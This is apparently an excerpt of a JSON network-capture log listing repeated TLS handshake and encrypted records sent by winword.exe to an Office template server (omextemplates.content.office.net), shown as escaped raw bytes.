                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\xc0\\x90\\xdf\\x12+ic\\xa6\\xa4l\\xed\\x91d\\xf7\\xdcwy\\xfb\\x90\\xf7q6o\\xe3h\\x16\\xfb\\x0c\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\npoa\\x9c\\x1811\\x08\\x9ag\\xa5\\x05\\xa8\\x00\\x83\\xae\\x07\\x97\\x06\\xb9\\xa7t\\xa3\\xf2\\x96\\xb7\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\xec\\x1e\\x7f\\xb4\\xa7$\\xf9\\x9b1~\\x84\\x81\\xe9\\xa0\\x0c\\x925#\\xdag\\x11@\\x83\\xcb%\\x17\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n+\\xa7\\xca\\xe5w\\xfcs\\xf4l\\x8ba=\\x17\\xb2\\xd6\\xd8\\xed\\xd5\\x98\\xdc\n.\\xa5\\x82(\\x93\\xe7+\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\xad\\x9a\r\\xb8\\xf4\\xce\\x19\\xc8\\x0fd\\x9e\\xf1\\xc8\\x17\\xf2\\x86@\\x89\\xad\\x92\\x85\\xfc4\\x8f\\xd3\\xee&\\xc6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\x83\\x07\\xca\\xe9\\x8d\\xcd\t\\x1c\\x8b\\x1b2\\x07\\x1a`\\xd9m\\x8e\\xf0\\x17\\xae\\xbc\\x01i\\xd8\\xb1\\xc3\\xb6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\x18n\\xb4\\x99\\xe0\\xe7\\xa0r\\x1e(_j:\\xb5\\x8c\\xdap\\xe9\\\\xf4\\xcf\\x07\"\\xf3\\x87\r\\x16\\xa4\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\xdcl\\x01\\x0e~\\xa0y?\\x9b\\x97\\x92o\\xd2\\xd9\\x11\\xf7\\xa4c.\\x87\\xd7o\\xf6r\\xf2\\xc9\\xb1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x92\\x01\\x01\\x00f\\x10\\x00\\x00ba\\x04%\\x96\\xf3\\xc7\\x87\\x11\\x02\\xb34r~\\xab\n!\\x98kj\\x0b\\xd1c\\xd3~\\x8d\\xc3\\xfe\\x06\\xa9\\xbe\\x0b\\xc3\\x94q\\xf6k\t\\xa5$v\\xfe\\x9ed\\xce=v\\xa5\r\\xb8\\x9e\\x83\\x171\\xe6\\x9f\\x9b\\xb5\\xc2\\xb0\\x1d\\xde\\x1d\\x85f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xcfdro\\xe8\\x9b\\xd2\\xcfl\\x7f\\xa7$\\x04\\\\x88\\x85\\x87\\x9b\\xf7\\x07\\xc6\\xac\\xd2\\xf2\\x8f\\xa0\\x979a\\xbf\\xf6d\\xc7^\\x02%\\xb3u\\xab\\x7f\\x15->\\xed~oge"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x044\\xc8\\x90\\x80\\xe5n\\xa6d\\xef\\xc5\\xe5\\xba\\xfc^\\xe2\\x80\\x05/\r\\x8b\\xe3\\xb8\\x01\\xeea\\xbe\\x01\\xf6\\xf2t\\x1a\\xa4\\x15\\x8d\\xda<\\xd2'\\xb8\\x86\\x97\\x87\\x8cv\\x82x8\\x80\\x06j#a\\x8c\\xd2\\xcc\\xfe)\\x98|\\xfcp\\xb3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000i\n\\x9e\\xcc\\xfeqp<\n\\xb5g!\\xeaz\\xc1m\\x9c\\xc5l\\x10\\xd6\\xf5\\x17\\xf1z\\x1cw\\x95\\x14#\\xd0\\x9b\\x97uwr\\xd2b\\x08np\\xa8@.\\xd7\\xe4$\\xfc"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xcck\\xe3\\x1d\\xb2\\xed\\x85\\x87lo\\xf4\\x94*\\xd2\\xbf\\xfej\\xf9\\xcae\\xb4\\xf2\\x1a\\xc2\\xdac\\xa1%\\x18\\^\\x02u\\xd1\\xb0hf\r\ng&\\x91\\xa2\\x89c\\xc2\\xf2\\x95\\xbfe\\xc8:y\\x196\\xdari\\xb2\\xad\\xeb\\xc6\\x16\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x17\\xa0\\x07\\x81\\xfd\\x1fa\\xe5\\xbb\\xd1le\\xa9\\xe3\\x84g\\x02j\\x99\\xcd\\xd0\\x84\\xd8\\xa8\\xec\\x84n75\\xf1\\xcc\\xef\\x96\\x07u&\"\\xf4\\x84\\xf2\\xcb64\\l\\x04\\xde\\xe1"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04y\\xe5(\\xc5\\xc1\\xe1\\x17itdf\\xad\\xb4f\\x85^\\xf2\\xcd\\x03s\\xc2\\x96\\xdd\\xd8\\xaf\\xca\\xc9io\\xd2\\x05ne\\xf7\\xb3#\\xd7\\xe3\\xa5\\xfcd\\m\\xe9%\\xe5\\x05\\xd6:\\xd4\\x9b\\xa0\\xa6%ei\\xc87\\xf8\\xc6\\xcc<\\x8d\\xfe\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000nt\\xd9\\xe1\\xf6\\xd3\\xb6\\~\\xf1\\x90=\\xf5\\x984\\xc5\\xfbac\\xf9\\xd7\\x03\\xbf\\xc2\\x92\\xc6\\xee\\xe6\\xdd\\xf5\\xe5\\xa1\\xd3\\xe4m\\xfb\\x04\\xc4\\xf83h\\xe0\\xa9|d"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04m\\xaec@y\\xed\\xc2\\x85\\xe8d\\xfbey\\x9d\\xde\\xe2\\xb3\\x14\\x05_\\xa1\\xfa\\xc4s7\\x92y\\xc8\\x84\\x8cnau\\xc9\\x13\\xea,\\xa9y\\x89\\xe3t!*\\xa0\\xef\\xb9\\x1b\\xa9\\xb9~\\x10\\xf1\\xcc\\xd3h@\\xea\\xb6\\x07w\\xfe\\xec\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000j\\x9b\r\\xf8\\c\\x01\\xfb\\xcclc\\xb4\\x1d/\\x0bg\\xf4\\xa5\\x8en\\x16k\\xb6\\xb8.=<tjy\\x7f\\xe9t\\x95\n\\x9a\\x8f\\xdc\\x8c\\xccb\\x1c\\xe7\\xa6\t\\x8dw"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe6\\xf9\\xb1k\\xd5\\xee.\\xbd\n\\x9f\\xe5v\\xca\\x0f\\x12\\x18l%\\x97\\xc7o\\x834f)\\x14\\xac\\xa7\\x80\\xe9\\x99t\\x8f\\x95|\r\\xd8\\x03\\xb6\\x15>\\x89g\\xf15\\xaf\\xb5\\xa14\\xf6\\xe2\\xe7\\xe5\\x80g\\xf1)\\x84\\x8b\\xfcw\\xcdj\\xda\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xcf'\\x91\\x08\\x8fjj\\x17\\xc3\\xf4cl\\x93d\\xb2\\xee\\x19^\\xf2z\\xa5~m\\x93@vr\\x87\\xae\\xb4f\\x1d\\x07/\\xaf\\xeb6t\"\\xbf\t\\xcde\\x8e\\xec\\xc3\\x8f\\xe4"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb6_9;\\xec\\xc1(\\xdd\\xffp\\xc9\\xf6/\\x00\\xa5\\xc7r7\\x98\\xb8f\\xfeuf\\xe1\\xd6e\\x9bsf\\x92\\x00\\x8bcl\\xc6\\x96\\xb0\\xb7\\xe4p\\x0c\\x0c\\xb0\\xe4\\xd9dt\\x81gi\\xfb\\x91\\x87gth\\xfe\\x03k\\x94\\xfac\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000'x\\xdec\\xca\\x95\\xf3\\xba\\x17\\x08\\xc7jk\\x0e\\x17!*\\xee\\xdc\\xff\\xfa(m\\xe3friw+\\x93\\xdf\\xd6\\x05\\xcf\\x83\\x00\\xc9\\xcfa\\x84\\xe0e\\x82\\xd2\\xc1\\xd5"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x15h|\\x92x\\xa2\\x9a\\xb1f\\x05\\xe4j\\xe5co\\xbd\\xdb\\xce \\xde\\x04\\xb1\\xdet\\x8e\\x91\\xdc\\x83\\x1d\\x84?zl\\xf0\\xfb\\xed\\xe4,\\x97\\x83r?ry\\xb7d\\xa7\\xaf9\\xc9\\x08\rx\\xa7\\xc1\\xec\\x14\\xbc\\x99\\x00\\xbdx\\xf2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000)\\x08\\xfd\\xbb\\xb5\\xbe\\x06\\xfc\\xa2\\xb6h\\xb2\\x1e\\x1c\\xe8m\\x1c\\x85\\xbd\\xf8\\x0b_f\\x03\\xdc\\x97\\x18\\xc1\\xf7vbw\\x8a\\xed\\xd2h'\\x9d7\\xed\\xf0\\x08\\x9cz\\xb2\\xc0\\xb2\\x8d"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04>\\x9f\\x9d\\xdb\\xb8iu3+\n\\xec\\xc6\\x16\\x0f\\x8fq\\x19\\xb9\\xd1r\\xa5-n\\x8br\\xaf\\xdc\\xad~l\\xbe\\xcb\"\\xbe`\\xddy\\x19\\xf3\\x91yj\\x00\\xee0?\\x1f2\\xca\\xe0\\x0b\\xfc\\xbd\\xd9\r\\xc9i\\xd1y\\x8c\\x92\\x95\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000fhi\\x8c>cr`\\xf2z\\xb4\\xddn\\xd7\\x0b#\\x18p\\x99r\\x066\\x8a\\xfd\\x81h\\x19p\\xfbh@\\x9c\\xc7m\\x16h\\xfc!\\x00\\xbb\\xd5&,p\\xf0n\\x97\\x05"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04n_\\xdeo\\x03\\x1af\\x85\\x02\\xcc\\x05\r\\xc0\\xa2\\x02\\xc4*gx\\xb6o\\x7f\\xb6\\x95\\x19\\xfec\\xab\\xb0\\xb4\\x85\\xb1\\xc7(\\xae\\xce\\xd5c,\\x9b\\xcf)\\x97\\xb1\\x10\\xeb\\xf7\\xb2\\x14ql\\x98\\x18tj\\xb3g\\xa3p\\xeb\\xa9\\x8c\\xd7\\xce\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x8e\\xe5\\xf0\\x89\\x0b(b\\x86\\xfa\\xe2\\x97\\x86/h\\xc8t\\xed\\x12o@\\xf4c\\xaa\\xca\\x9fy!k\\x11\\xdbt\\xef\\xb3<\\x89\\xc0e\\x1da\\xbf\\xba\\x9e6\\x14\\xdf\\xcat5"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1a\\x87\\x84\\xd1\\x03\\xbf\\xad\\xcayfw\\xc4\\xe0q\\xe4\\x9a\\xd5\\x17\\xb1\\xdb\\xa9\\xb5\\xaf\\xb9\\x12\n\\x01\\x8f\\x88\\x15\\xc4\\xbf\\xb42i\\xe0$\\xa5t\\x9e0\\xa5\\x87\\xd2\\xd1\\x9d-x\\x8f\\x17\\x19\\xd9\\x9c\\xfb\\xec>(\\xc9p\\xbc\\x15d\\x90\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000uv\\xe0\\x03\\xe1mut\\xf6\tp\\xd63o\\x81\\x82\\x15\\xa1\\x81:\\xd2\\xd4-@\\xcd-\\xcab\\xa1\\x96\\xb9\\xb6b\\xdb\\xd83$\\x92\\x18c\\xbf&\\x82fs|\\x94"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04gfy\\x8a\\x12g\\xa2(\\xdb0ow\\xfd\\x95\t\\xe4q\\xbf\\xf9\\xf7\"\\x082r\\x8d\\x12:#\\xae\\xb3\\x06\\x9c\\xbf<\\xe7z\\\\xb7\\xbaj\\x00\\x95\\x02y\\xd9$bf~\\xd9\\x061\\x9bd\\xdf\\xcf\\x12\\xbb\\xe35\\xd9\\xbd6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xec\\x1b\\x7fy\\x8a\\x80\\x91\\xffrkm\\xba\\xc1\\x87\\xbau?\\xb1\\x17^m\\xf4#\\xca\\xc9!\\xf2lm\\xf1\\xf4fej\\xa8\\xec\\xa9\"\\xb0\\xdb1q\\xbd\\\\x16\\x0bi\\xa1"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x98\\x88\\x14\\xe5?\\xc3g\\xbeux\\x12\\x05\\x93\\xd3r\\xe6_\\xf7;\\x15\\x01\\xed\\x8ey8\\x99\\xee\\x85d\\x1e\\xcbl\\x1f\\xa0\\x13)\\x96\\xac\\\\xa1\\xa9\\xac\\xbf\\xa4\\x95y\\x89\\xe4\n\\xc5\\xa9\\xac\ri;\\xc8v\\xd5z\\x9en=\\xe2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\cu\\x08\\x01\\x05bq\\x1e\\x1c\\xf7dz\\xaap\\xc7\\x08\\xf4\\xfe\\x7f;\\xa9\\xaf\\xc2n\\xbe\\x80=\\x9f\\xd1w\\xcan\\xbcp\\xca\n\\xab\\xa6\\x86\\x95c\\xa6l\\xda\\x0f\\x90\\x9c"


                "http_request": "winword.exe_WSASend_~\\x01\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb4\\x87\\x16\\x9d\\xaa t2\\xd4\\x02u\\xca\\x05\\x9fj~%3\\x8c\\x0f\t\\x0e\\x97p\\xb1w\\xd9\\x1a\\xdfpm\\x0e\\x89\\xf3\\xbeqi\\x99\\xf1h\\x9ey.\\xcf\\\\x8f?\\xb7x\\xbd\\xa2\\x81\\xcaoj\\x11\\x03h\\x94\\x81@\\xa2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xcc5v\\x91\\xef\\xe3\\x95\\x88\\xbe\\xccl\\xe6\\x80\\x1f\\xa6:\\x8f\\xdbx\\x90\\x7f\\xa0\\xac\\x86\\x85\\xb4\\x0b9@cc~,\\xa3\\x89is\\x89by\\xa5\\x04\\xfd\\x95*hj"


                "http_request": "winword.exe_WSASend_~\\x01\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x96\\xb8wpo\\x93\\x8e3\\xef`\\xe6\\xc8\\x14b2l\\x9az\\xbf\\xc8sye\\x92\\xa28\\xf2\\xc6i\\xabp\\x80\\xd1\\x07\\xf8\\xce6\\xa3\t\\xf2\\xa8\\xbc\\xb3\\xbc>8m\\x1boq\\xaf\\x85\\x94\\xd8e\\xf6>\\xff\\xc3*bp\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x12j%t\\xd0p\\x9al\\xc8\\x8bd\\xfe\\xc0(\\xdd-\\x04\\xae\\x9cw\\xfe,b\\xbd\\x06\\x94\\xa9\\x93\\xc5\\xf26\\x0e\\x971\\x14\\xb9\\xaf:\\xad\\xa9w\\x87\\xae\\xf7\\xb2\\xdc\\x82"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04.2z\\xc2t\\x04m/!\\x9cs\\x83\\x01\\xe9\\x88\\xb5@\\xc9\\xa7\\xccx;;\\x1a\\x91\\xc2x\\xcf\\xfe\\xf2\\xb9\\xd6\\x8b\\xbb\\x83\\x0f\\xa7z\\x8ecu\\x07\\xc7\\xb0\\xc5\\x9d\\x1a\\xd8\\xeb\\x9a^\\x02\\xe0\\x1dc\\x80\\x00\\x86r\\xb1l\\x96q\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xaf \\x89v\\x99\\xbf\\xfde\\xad\\x9ad\\xbf\\xe7\\x96\\x06\\x86$\\x0b\\x17g1|\\x8a\\x81\\xfa\\xf2\\xaa\\x91,\\x0c8d'p\\x9f\\x9a?\\xdd\\xd8\\xfd\t\\x13~\\xe8\\xd7\r\\xba+"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04e\\xfe\\xf4=\\xdf\\x18w\\x\\xb2\\xa6\\x8fg\\xe4\\xe7\\xd7\\xd8mf9\\xf1\\x88\\x11i\\xbe)\\xfe\\xac\\xe0\\xfew\\xbb\\xc1y\\x9bjx\\x1ase\\xab\\xd1\\xa1\\x01\\xde\\x98,u\\x0c\\x8f\\xab\\xc0rzn\\xc7\\xd8\\x00\\xc5\\xe2\\xdc8e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000t\"c\\x13l\\xfbl\\x9cp\\x81\\xc1\\x1d\\xda\\xfc-\\xf8\\x11r`w\\x16c\\xef\\x07\\xd2\\x92\r.\\x15\\x15\\x0e\\xbb?\\xda\\xf6k\\x0f\\xe9\\xff;lan\\xfa\\xa7\\xf9"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xae#\\xca\n\\x93\\x88\\x10\\xb5o\\x0cp\\xbb\\x1c\\xf8\\xfa\\xaa\\xc7\\x0f\"q\\xdcy\\xce\\x93\\xfan\\xd76a\\x13\\x0e\\x03x\\x80\\xe4t.\\xb0\\xe8zoc\\x14\\x07\\xa8\\x1c\\xd8\\x81\\xf9f\\xeeb\\xcby\\x82r\\xa2\\xdc\\xe8\\xd7w\\xee\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000t\\xf0\\\\xb4\\xcf\\x9dd\\xd7k\\xccd\\x04\\x99\\xd0\\x18\\x89\\xdcv\\x8cb\\xa5\\xba`\\xe6\\xe8\\x00s\\x92\\xe2\\xa1\\xe5\\xfb\\xc1w\\x8e\\xaf\\xbd+\\xb3\\xdf\\x8c\\xe3\\xa2\\x9di\\xea \\x04"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xbe\\xc4\\x85z\\xc2\\x81\n\\xdd\\xb7\\x1d\\x8e)\\xac1\\x0b\\x83\\x0e\\xd9\\xabj\\xae\\x98\\xa7\\xfel\\x9f\\xa7\\x96j\\xc1\\xb2l\\xdd\\xc0)\\xccqoq\\x01\\xd7\\xe2d\\x03\\x9edl:\\xa2\\x9f\\xec\\xad\\x99\\x95\\x7f\\xc6mo5h~\\xe5\\xff\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xcdw!\\xae\\x98dm\\x18h+a\\x1f\\x17\\x80\\xa3\\x8f\\xc9\\xd0\\xd0\\x01n#\\xf8\\x922!\\xfb\\xf6 z\\xb1u\\x07y2fx\\xfe\\x9e\\x08\\xae\\x7f\\xc3\\x94\\xd8x1"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe9\\xfbb\\xd9\\xc9\\xc1\\x97\\x82\\xcf\\xd2\\x0f%\\x9c\\x17\\xb0\\xd7u\\x19\\x80\\xd4\\x07\\xc0=3u\\x7f\\x9c\\x04\\x05\\xfb\\x10\\xb0uh\\x9e\\xa0\\xc6re\\x04\\x97\\xf4\\x1d\\xb5o\\xeb\\xf9\\x07\\xeb8\\xf1\\x0bs\\x8ed\\x08\\x8c\\x9b4\\xe3\\x18\\xd7\\xcc\\x93\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000hey\\xc5/\\xa8\\xaa\\x18\\x80+\\xf6\\xdf\\xb6?\\xb2\\xcek\\x1e\\xd1\\x971~|\\xb4\\x81\n\\x9bl;\\x81\\xdf\\x02\\xf7f\\xfd\\x9d:\\xfd\\\\x96\\x1d92\\xa4\\x85\\x1f\\xf1\\xd9"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04k\\xffb\\x0f\\xe5\\xd0y\\x9a\\x089\\xf1:\\x1c\\xac\\xe79|\\xd1\\x98\\xe0\\xda\\x8a!\\xd5`\\xc6\\xb4\\x8e\\x83\\xfb\\xcf\\xcb\\xc4\\x1dk\\xc6k\\x13\\xd2\\xc9k^\\x8f\\xf8\\xa5\\x06y\\x99\"\\xe8\\x97\\x8e\\x05\\x16>d\\x16+\\xb4\\xa5b\\xe5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000c\\x8czaw\\xed\\xb1\\xff\\xc6\\xe5\\\\x15d\\xbe\\xec\\xe6o\\x1e\\xc3\\xa5y\\x1f\\xcf\\xe2\\xde?.\\x83\\x8c\\xbb\\x05\\xd8\\x1d\\x84\\xc5\\x92\\x95~\\x87\\x16\\x9e\\xc3e,\\x91\\xe6\\x87"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x19\\xe9\\xc1\\xbc\\xc3\\xe0k\\x18d\\x9e\\xdch\\xbf\\x99t|\\xe6`\\xb3\\x13\\x16w\\xdd\\xf3\\xf7\\xcf\"\tl6\\xd4\\x10\\xa0!\\x14\\x03\\x07<t\\x92\\x1f\\xee\\x11\\xd9z\\x12k\\xc5,+m\\xe3@\\xda\\x01\\xfe99$\\xe08\\xa6t\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9c\\x13,yo\\x13:\\xc2\\x03\\xed\\x9cwl\\xa4iv?w\\xe7lz\\xda\\xaf\\xff\\x1b\\xa3\\xdfj\\xa0q234\\xde_\\xa8\\xcf\\xb9\\x92\\xfc\\x13\\xa4h\\xb4\\x86\\xbb\t\\x1e"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd6\\xa9\\xc4\\x1fx\\x98kbx\\xde\\xfe\t\\xf0\\xc0t\\x7fz\\xec\\x1a\\xb7rbup\\xa8@1\\xe654\\xdegs&m/i\\xd1\\xf8\\xcd\\x8b\\x91&?\\xe9\\x19\\xffmy\\xd2)\\xc0\\x1d\\xefw-\\xa5\\xadt^\\xa4\\x0f6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9e\\xf3i\\xe8\\x13\\xb2\\xd4\\x83\\x18\\x90\\xd5\\x01.\\xeff\\xabh\\x02\\x98\\xd2\\x7fj\\x15k\\x05\\x06.\\xa1\\xe9e\\x1b>du\\xe6\\xe9\\x17\\xf5\\x97\\xef\\x93\\xb4-\\x0f\\x93\\x11\\xd6"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010.\\xde\\xbai\\xa1:\\x03\\x94\\x90\\x07\\xa1!\\xd3p2e^/\\x87\\xb4\\xd4~\\x91\\xf7i\\xbfa\\xee\\xa6\\xd3\\xb6$\\xd0\\x80\\xc1\\xb8\\x13\\xc6\\xc6\\xfb\"\\xb6\\xdc\\x84y\\x0c\\x9e\\xdb\\x11\\x85nrv\\x9dv\\x90\\x18\\x08f\\x11\\xcbl\\xa9l\\xde\\xe3\\x13\\x18i#\\x1cy\\x10ii\\x8e\\xddt(u\\x19\\xa7s!\\xa9\\x83=e=\\x88\\xd51\\x90\\xbb\\xaa\\xcc:\\xbb\\xb0p\\xb7\\x1fq\\xb1i\\x04\\xf9\\x9c\\xf5\\x9e\\x9c\\xdd\\xeed\\x1c\\x15z=gv\\xfeq\\x83f\\x91\\x9ee\\xe0s>\\xcdh_:\\xfd@\\xafm\\x81\\x85\\x14\\xf1\\x137\\xb8\\xfc\\xd4\\x01\\xd1\\x85z\\x1d\\xdf\\xf5\\x18\\x05a\\xe7\\xe2\\xf3\\xee\\x0e\\x95\\x98y\\xb2\\xeav\\x03\\xef9)_\\x86\\xff\\x99\\x98\\xf1\\xf5|\\xd9\\xbep\\xa3\\xcb\\x0e\\xd7\\xf0\\xf7=\\xa2fy\\xae\\xfd\\x97\\xd41\\x0f\\xe9\\xc4i\\x94\\xda\\xa7\\x94\\xaf&$\\xd3e\\xd93+gr\\xb0'l\\xcb\\x9a\\x8b\\xcd\\xd6\\xbfg\\x913\\x82+\\x08\\xac\\xc6\\xa9\\xc9\\xad\\xc7\\x90\\x1b\\xf3\\xf5s60\\xa1\\xeb>u"


